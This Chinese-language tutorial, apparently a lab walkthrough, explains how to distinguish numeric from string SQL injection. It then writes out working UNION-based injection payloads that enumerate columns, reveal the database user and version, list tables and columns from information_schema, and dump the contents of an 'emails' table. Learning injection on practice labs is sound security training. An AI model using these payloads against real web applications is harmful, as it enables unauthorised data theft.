1.如何判断字符型注入和数字型注入
关于判断注入类型的解释,简单的说通过sql语句的输入测试来判断源码如何定义的输入数据。
2.预备知识
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
3.测试过程
3.1判断类型
用单引号进行输入,发现错误界面,这可能是因为查询代码使用了整数。
image.png
再根据输入 and 1=1 和 and 1=2 返回的是正确和错误的画面,可以判定为是整型注入(数字型注入)。由此可以输入sql语句进行查询,获得我们想要的数据。
3.2注入爆破
通过输入 order by【数字】 来判断输入的列有几行,直到返回正确界面。利用二分法从数字10往开始减小,最终确定数字3
image.png
通过以下代码来判断显错点。
and 1=2 union select 1,2,3
第二列和第三列是显错点。
image.png
1.通过以下代码查看用户信息,数据库名称,版本信息
and 1=2 union select 1,concat_ws(char(58,32,32),user(),database(),version()),3

image.png
2.通过以下代码查看所有的表。
and 1=2 union select 1,2,group_concat(table_name )from information_schema.tables where table_schema = 'security'

image.png
3.查看任意一个表中的列。
and 1=2 union select 1,2,group_concat(column_name )from information_schema.columns where table_name = 'emails'

image.png
4..通过以下代码查看所有的列的值。
and 1=2 union select 1,2,group_concat(id,' ',email_id)from security.emails

image.png